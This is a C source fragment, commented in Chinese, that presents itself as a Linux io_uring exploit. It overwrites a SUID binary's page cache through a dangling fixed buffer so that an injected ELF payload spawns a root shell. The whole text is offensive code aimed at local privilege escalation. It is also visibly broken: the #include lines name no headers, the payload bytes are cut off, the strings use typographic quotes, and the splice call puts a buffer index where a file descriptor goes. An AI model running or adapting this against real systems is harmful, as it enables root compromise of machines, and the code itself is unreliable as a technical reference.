Linux io_uring 固定缓冲区逃逸

// pagecache_overwrite.c — 通过悬空固定缓冲区覆写 SUID 页缓存
 
#include
#include
 
// 最小 ELF 载荷：执行 /bin/sh 并保持 root 权限
// 实际攻击中，载荷需要与目标 SUID 二进制的架构和入口点匹配
static const unsigned char elf_payload[] = {
    0x7f, 0x45, 0x4c, 0x46,  // ELF magic
    0x02, 0x01, 0x01, 0x00,  // 64-bit, little-endian
    // ... 完整 ELF 头、程序头和 shell 代码
};
 
// 等待页被重新分配为 SUID 页缓存
int wait_for_pagecache_reclaim(const char *suid_path) {
    printf(”[*] 等待页被重新分配为 %s 的页缓存...\n”, suid_path);
 
    // 打开 SUID 二进制，触发页缓存填充
    int fd = open(suid_path, O_RDONLY);
    if (fd < 0) {
        perror(”open SUID binary”);
        return -1;
    }
 
    // 读取文件内容，将其页缓存加载到内存
    char buf[4096];
    ssize_t n = read(fd, buf, sizeof(buf));
    close(fd);
 
    if (n > 0) {
        printf(”[+] SUID 页缓存已加载 (%zd 字节)\n”, n);
        return 0;
    }
    return -1;
}
 
// 通过 io_uring WRITE_FIXED 向悬空缓冲区写入 ELF 载荷
int overwrite_via_fixed_buffer(struct io_uring *ring, int buf_index,
                               const void *payload, size_t len) {
    struct io_uring_sqe *sqe = io_uring_get_sqe(ring);
    if (!sqe) {
        fprintf(stderr, ”无法获取 SQE\n”);
        return -1;
    }
 
    // 准备一个 pipe 作为数据源
    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror(”pipe”);
        return -1;
    }
 
    write(pipefd[1], payload, len);
    close(pipefd[1]);
 
    // 提交 splice 操作：从 pipe 读取数据到固定缓冲区
    // 由于固定缓冲区的页已被重分配为 SUID 页缓存，
    // 数据将被写入页缓存，覆盖 SUID 二进制代码
    io_uring_prep_splice(sqe, pipefd[0], -1, buf_index, -1, len, 0);
    sqe->flags |= IOSQE_FIXED_FILE;
 
    int ret = io_uring_submit(ring);
    if (ret < 0) {
        fprintf(stderr, ”io_uring_submit failed: %d\n”, ret);
        close(pipefd[0]);
        return -1;
    }
 
    // 等待完成
    struct io_uring_cqe *cqe;
    io_uring_wait_cqe(ring, &cqe);
    int result = cqe->res;
    io_uring_cqe_seen(ring, cqe);
    close(pipefd[0]);
 
    if (result < 0) {
        fprintf(stderr, ”splice failed: %d\n”, result);
        return -1;
    }
 
    printf(”[+] 已通过固定缓冲区写入 %d 字节到页缓存\n”, result);
    return 0;
}